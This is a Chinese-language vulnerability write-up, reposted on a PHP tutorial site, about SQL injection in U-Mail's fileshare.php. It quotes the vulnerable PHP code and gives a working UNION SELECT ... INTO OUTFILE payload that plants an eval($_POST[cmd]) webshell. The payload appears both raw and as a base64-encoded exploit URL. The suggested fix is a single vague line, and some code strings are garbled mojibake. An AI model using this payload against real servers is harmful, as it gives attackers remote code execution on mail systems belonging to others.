网站地图    收藏   

主页 > 后端 > 网站安全 >

u-mail注入导致任意代码执行 - 网站安全 - 自学p

来源:自学PHP网    时间:2015-04-16 23:15 作者: 阅读:

[导读] 在fileshare php中mysql_query( SET NAMES 39;UTF8 39;); mysql_select_db( $database ); $file_id = $_GET[ 39;file 39;]; $inmail = $_GET[ 39;inmail 39;]; if ( !$file_id ) { e...

在fileshare.php中

 

mysql_query( "SET NAMES 'UTF8'");

 

mysql_select_db( $database );

 

$file_id = $_GET['file'];

 

$inmail = $_GET['inmail'];

 

if ( !$file_id )

 

{

 

exitout("鍙傛暟閿欒锛? );

 

}

 

$file_id = rawurldecode( base64_decode($file_id ) );

 

$sql = "SELECT * FROM netfile_fileWHERE file_id='".$file_id."' AND is_share='1'";

 

$file = @mysql_fetch_assoc( @mysql_query($sql ) );

 

if ( !$file )

 

{

 

exitout("鏃犳ゅ叡浜鏂囦欢锛? );

 

}

由于file 参数未进行任何过滤,经过一次base64_decode解密,导致我们可以将单引号等危险参数传进来,由于屏蔽了回显,所以没办法直接用工具注入

 

但是我们通过Mysql 数据查看netfile_file表的结果,发现他有14个字段

 

所以我们可以直接union 直接写shell

 

当$file_id 经过解密时候为

 

aa' union select 1,2,3,4,5,6,'<?phpeval($_POST[cmd]);?>',8,9,10,11,12,13,14 into outfile'C:/umail/WorldClient/html/360.php'# 即可写shell了

 

我们加密

 

YWEnIHVuaW9uIHNlbGVjdCAxLDIsMyw0LDUsNiw3LDgsOSwxMCwxMSwxMiwxMywxNCBpbnRvIG91dGZpbGUgJ0M6L3VtYWlsL1dvcmxkQ2xpZW50L2h0bWwvMzYwLnBocCcj

 

当http://192.168.56.128/webmail/fileshare.php?file=YWEnIHVuaW9uIHNlbGVjdCAxLDIsMyw0LDUsNiwnPD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4nLDgsOSwxMCwxMSwxMiwxMywxNCBpbnRvIG91dGZpbGUgJ0M6L3VtYWlsL1dvcmxkQ2xpZW50L2h0bWwvMzYwLnBocCcj

 

即可在web目录写下我们的文件360.php 文件了

 

修复方案:
这个就加防注入吧

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论